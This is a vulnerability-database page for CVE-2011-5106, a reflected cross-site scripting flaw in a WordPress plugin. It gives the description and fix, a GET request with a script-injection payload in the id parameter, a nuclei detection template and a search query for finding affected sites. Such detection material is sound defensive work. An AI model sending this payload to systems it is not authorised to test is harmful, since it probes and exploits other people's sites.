HexBrain

Browse / CVEs / CVE-2011-5106

CVE-2011-5106· fractalia / flexible custom post type· CWE-79

WordPress Plugin Flexible Custom Post Type < 0.1.7 - Cross-Site Scripting

mediumseverity
4.3CVSS score
10.9%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

A cross-site scripting vulnerability in edit-post.php in the Flexible Custom Post Type plugin before 0.1.7 for WordPress allows remote attackers to inject arbitrary web script or HTML via the id parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.

Fix

Update to the latest version of the plugin (version 0.1.8 or higher) which includes a fix for this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/flexible-custom-post-type/edit-post.php?id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2011-5106 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2011-5106

info:
  name: WordPress Plugin Flexible Custom Post Type < 0.1.7 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in edit-post.php in the Flexible Custom Post Type plugin before 0.1.7 for WordPress allows remote attackers to inject arbitrary web script or HTML via the id parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update to the latest version of the plugin (version 0.1.8 or higher) which includes a fix for this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2011-5106
    - https://wordpress.org/plugins/flexible-custom-post-type/#developers
    - http://plugins.trac.wordpress.org/changeset?reponame=&new=466252%40flexible-custom-post-type&old=465583%40flexible-custom-post-type
    - http://wordpress.org/extend/plugins/flexible-custom-post-type/changelog/
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/71415
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2011-5106
    cwe-id: CWE-79
    epss-score: 0.10899
    epss-percentile: 0.95908
    cpe: cpe:2.3:a:fractalia:flexible_custom_post_type:0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: fractalia
    product: flexible_custom_post_type
    google-query: inurl:"/wp-content/plugins/flexible-custom-post-type/"
  tags: cve,cve2011,wordpress,xss,wp-plugin,fractalia,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/flexible-custom-post-type/edit-post.php?id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from